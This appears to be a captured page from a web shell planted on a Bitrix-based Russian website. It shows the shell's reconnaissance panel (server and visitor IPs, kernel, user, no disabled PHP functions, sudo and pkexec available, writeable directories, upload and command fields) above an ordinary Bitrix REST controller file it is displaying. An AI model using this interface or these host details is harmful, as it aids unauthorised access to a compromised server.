403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/rest/lib/controller/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/rest/lib/controller/appform.php
<?php

namespace Bitrix\Rest\Controller;

use Bitrix\Bitrix24\CurrentUser;
use Bitrix\Main\ArgumentException;
use Bitrix\Main\Engine\Controller;
use Bitrix\Main\Engine\ActionFilter;
use Bitrix\Main\Engine\Response\AjaxJson;
use Bitrix\Main\Error;
use Bitrix\Main\Loader;
use Bitrix\Main\SystemException;
use Bitrix\Main\Web\Json;
use Bitrix\Pull\Event;
use Bitrix\Rest\AppTable;
use Bitrix\Rest\FormConfig\EventType;
use Bitrix\Rest\PullTransport;

class AppForm extends Controller
{
	public function showAction(string $config, \CRestServer $server = null): array
	{
		try
		{
			$transport = new PullTransport();
		}
		catch (\Exception $exception)
		{
			return [
				'error' => 'NOT_INSTALLED_MODULE',
				'error_description' => $exception->getMessage()
			];
		}

		$appForm = new \Bitrix\Rest\AppForm($config);

		return ['success' => $appForm->sendShowMessage($transport)];
	}

	public function getConfigAction(string $clientId, string $type, array $formData = []): AjaxJson
	{
		try
		{
			$app = new \Bitrix\Rest\App($clientId);
			$responseData = [
				'config' => $app->fetchAppFormConfig($formData, EventType::from($type))
			];

			return AjaxJson::createSuccess($responseData);
		}
		catch (ArgumentException $e)
		{
			$this->errorCollection->setError(new Error($e->getMessage()));
		}
	}

	public function configureActions(): array
	{
		return [
			'show' => [
				'+prefilters' => [
					new ActionFilter\Scope(ActionFilter\Scope::REST),
				],
			],
		];
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit